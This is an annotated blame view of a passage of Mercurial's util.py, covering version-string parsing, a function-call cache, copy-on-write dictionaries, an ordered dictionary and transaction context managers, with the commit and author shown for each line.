Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
1015 (3, 9, None)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
1016 >>> versiontuple(v, 4)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
1017 (3, 9, None, 'rc')
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
1018
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
1019 >>> v = b'3.9-rc+2-02a8fea4289b'
29613
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
1020 >>> versiontuple(v, 2)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
1021 (3, 9)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
1022 >>> versiontuple(v, 3)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
1023 (3, 9, None)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
1024 >>> versiontuple(v, 4)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
1025 (3, 9, None, 'rc+2-02a8fea4289b')
37801
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents: 37675
diff changeset
1026
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents: 37675
diff changeset
1027 >>> versiontuple(b'4.6rc0')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents: 37675
diff changeset
1028 (4, 6, None, 'rc0')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents: 37675
diff changeset
1029 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents: 37675
diff changeset
1030 (4, 6, None, 'rc0+12-425d55e54f98')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents: 37675
diff changeset
1031 >>> versiontuple(b'.1.2.3')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents: 37675
diff changeset
1032 (None, None, None, '.1.2.3')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents: 37675
diff changeset
1033 >>> versiontuple(b'12.34..5')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents: 37675
diff changeset
1034 (12, 34, None, '..5')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents: 37675
diff changeset
1035 >>> versiontuple(b'1.2.3.4.5.6')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents: 37675
diff changeset
1036 (1, 2, 3, '.4.5.6')
27112
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1037 """
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1038 if not v:
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1039 v = version()
37801
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents: 37675
diff changeset
1040 m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v)
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents: 37675
diff changeset
1041 if not m:
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents: 37675
diff changeset
1042 vparts, extra = '', v
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents: 37675
diff changeset
1043 elif m.group(2):
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents: 37675
diff changeset
1044 vparts, extra = m.groups()
27112
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1045 else:
37801
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents: 37675
diff changeset
1046 vparts, extra = m.group(1), None
27112
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1047
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1048 vints = []
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1049 for i in vparts.split('.'):
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1050 try:
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1051 vints.append(int(i))
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1052 except ValueError:
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1053 break
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1054 # (3, 6) -> (3, 6, None)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1055 while len(vints) < 3:
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1056 vints.append(None)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1057
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1058 if n == 2:
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1059 return (vints[0], vints[1])
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1060 if n == 3:
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1061 return (vints[0], vints[1], vints[2])
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1062 if n == 4:
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1063 return (vints[0], vints[1], vints[2], extra)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1064
3145
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
1065 def cachefunc(func):
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
1066 '''cache the result of function calls'''
3147
97420a49188d add comments in cachefunc
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 3145
diff changeset
1067 # XXX doesn't handle keywords args
28832
f5ff10f6fa6b util: use __code__ (available since py2.6)
timeless <timeless@mozdev.org>
parents: 28826
diff changeset
1068 if func.__code__.co_argcount == 0:
20835
0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 20679
diff changeset
1069 cache = []
0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 20679
diff changeset
1070 def f():
0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 20679
diff changeset
1071 if len(cache) == 0:
0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 20679
diff changeset
1072 cache.append(func())
0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 20679
diff changeset
1073 return cache[0]
0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 20679
diff changeset
1074 return f
3145
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
1075 cache = {}
28832
f5ff10f6fa6b util: use __code__ (available since py2.6)
timeless <timeless@mozdev.org>
parents: 28826
diff changeset
1076 if func.__code__.co_argcount == 1:
3147
97420a49188d add comments in cachefunc
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 3145
diff changeset
1077 # we gain a small amount of time because
97420a49188d add comments in cachefunc
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 3145
diff changeset
1078 # we don't need to pack/unpack the list
3145
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
1079 def f(arg):
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
1080 if arg not in cache:
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
1081 cache[arg] = func(arg)
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
1082 return cache[arg]
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
1083 else:
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
1084 def f(*args):
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
1085 if args not in cache:
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
1086 cache[args] = func(*args)
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
1087 return cache[args]
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
1088
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
1089 return f
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
1090
34357
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1091 class cow(object):
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1092 """helper class to make copy-on-write easier
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1093
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1094 Call preparewrite before doing any writes.
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1095 """
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1096
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1097 def preparewrite(self):
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1098 """call this before writes, return self or a copied new object"""
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1099 if getattr(self, '_copied', 0):
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1100 self._copied -= 1
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1101 return self.__class__(self)
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1102 return self
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1103
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1104 def copy(self):
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1105 """always do a cheap copy"""
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1106 self._copied = getattr(self, '_copied', 0) + 1
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1107 return self
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1108
32300
bd0fd3ff9916 util: rewrite sortdict using Python 2.7's OrderedDict
Martin von Zweigbergk <martinvonz@google.com>
parents: 32291
diff changeset
1109 class sortdict(collections.OrderedDict):
32306
2d19664e257d util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents: 32300
diff changeset
1110 '''a simple sorted dictionary
2d19664e257d util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents: 32300
diff changeset
1111
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
1112 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
32306
2d19664e257d util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents: 32300
diff changeset
1113 >>> d2 = d1.copy()
2d19664e257d util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents: 32300
diff changeset
1114 >>> d2
2d19664e257d util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents: 32300
diff changeset
1115 sortdict([('a', 0), ('b', 1)])
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
1116 >>> d2.update([(b'a', 2)])
34139
be00af4a1ac5 doctest: coerce dict.keys() to list
Yuya Nishihara <yuya@tcha.org>
parents: 34137
diff changeset
1117 >>> list(d2.keys()) # should still be in last-set order
32306
2d19664e257d util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents: 32300
diff changeset
1118 ['b', 'a']
2d19664e257d util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents: 32300
diff changeset
1119 '''
2d19664e257d util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents: 32300
diff changeset
1120
32300
bd0fd3ff9916 util: rewrite sortdict using Python 2.7's OrderedDict
Martin von Zweigbergk <martinvonz@google.com>
parents: 32291
diff changeset
1121 def __setitem__(self, key, value):
21813
c2262004c2e2 config: move config.sortdict class into util
Angel Ezquerra <angel.ezquerra@gmail.com>
parents: 21046
diff changeset
1122 if key in self:
32300
bd0fd3ff9916 util: rewrite sortdict using Python 2.7's OrderedDict
Martin von Zweigbergk <martinvonz@google.com>
parents: 32291
diff changeset
1123 del self[key]
bd0fd3ff9916 util: rewrite sortdict using Python 2.7's OrderedDict
Martin von Zweigbergk <martinvonz@google.com>
parents: 32291
diff changeset
1124 super(sortdict, self).__setitem__(key, value)
21813
c2262004c2e2 config: move config.sortdict class into util
Angel Ezquerra <angel.ezquerra@gmail.com>
parents: 21046
diff changeset
1125
33626
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents: 33549
diff changeset
1126 if pycompat.ispypy:
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents: 33549
diff changeset
1127 # __setitem__() isn't called as of PyPy 5.8.0
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents: 33549
diff changeset
1128 def update(self, src):
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents: 33549
diff changeset
1129 if isinstance(src, dict):
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents: 33549
diff changeset
1130 src = src.iteritems()
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents: 33549
diff changeset
1131 for k, v in src:
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents: 33549
diff changeset
1132 self[k] = v
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents: 33549
diff changeset
1133
34357
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1134 class cowdict(cow, dict):
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1135 """copy-on-write dict
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1136
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1137 Be sure to call d = d.preparewrite() before writing to d.
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1138
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1139 >>> a = cowdict()
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1140 >>> a is a.preparewrite()
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1141 True
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1142 >>> b = a.copy()
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1143 >>> b is a
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1144 True
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1145 >>> c = b.copy()
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1146 >>> c is a
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1147 True
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1148 >>> a = a.preparewrite()
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1149 >>> b is a
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1150 False
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1151 >>> a is a.preparewrite()
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1152 True
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1153 >>> c = c.preparewrite()
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1154 >>> b is c
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1155 False
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1156 >>> b is b.preparewrite()
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1157 True
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1158 """
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1159
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1160 class cowsortdict(cow, sortdict):
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1161 """copy-on-write sortdict
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1162
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1163 Be sure to call d = d.preparewrite() before writing to d.
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1164 """
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1165
33793
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1166 class transactional(object):
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1167 """Base class for making a transactional type into a context manager."""
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1168 __metaclass__ = abc.ABCMeta
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1169
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1170 @abc.abstractmethod
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1171 def close(self):
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1172 """Successfully closes the transaction."""
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1173
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1174 @abc.abstractmethod
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1175 def release(self):
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1176 """Marks the end of the transaction.
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1177
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1178 If the transaction has not been closed, it will be aborted.
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1179 """
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1180
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1181 def __enter__(self):
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1182 return self
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1183
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1184 def __exit__(self, exc_type, exc_val, exc_tb):
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1185 try:
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1186 if exc_type is None:
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1187 self.close()
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1188 finally:
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1189 self.release()
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1190
33446
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
1191 @contextlib.contextmanager
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
1192 def acceptintervention(tr=None):
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
1193 """A context manager that closes the transaction on InterventionRequired
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
1194
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
1195 If no transaction was provided, this simply runs the body and returns
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
1196 """
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
1197 if not tr:
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
1198 yield
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
1199 return
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
1200 try:
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
1201 yield
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
1202 tr.close()
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
1203 except error.InterventionRequired:
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
1204 tr.close()
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
1205 raise
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
1206 finally:
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
1207 tr.release()
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
1208
33619
609606d21765 rebase: use one dirstateguard for when using rebase.singletransaction
Durham Goode <durham@fb.com>
parents: 33549
diff changeset
1209 @contextlib.contextmanager
609606d21765 rebase: use one dirstateguard for when using rebase.singletransaction
Durham Goode <durham@fb.com>
parents: 33549
diff changeset
1210 def nullcontextmanager():
609606d21765 rebase: use one dirstateguard for when using rebase.singletransaction
Durham Goode <durham@fb.com>
parents: 33549
diff changeset
1211 yield
609606d21765 rebase: use one dirstateguard for when using rebase.singletransaction
Durham Goode <durham@fb.com>
parents: 33549
diff changeset
1212
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1213 class _lrucachenode(object):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1214 """A node in a doubly linked list.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1215
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1216 Holds a reference to nodes on either side as well as a key-value
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1217 pair for the dictionary entry.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
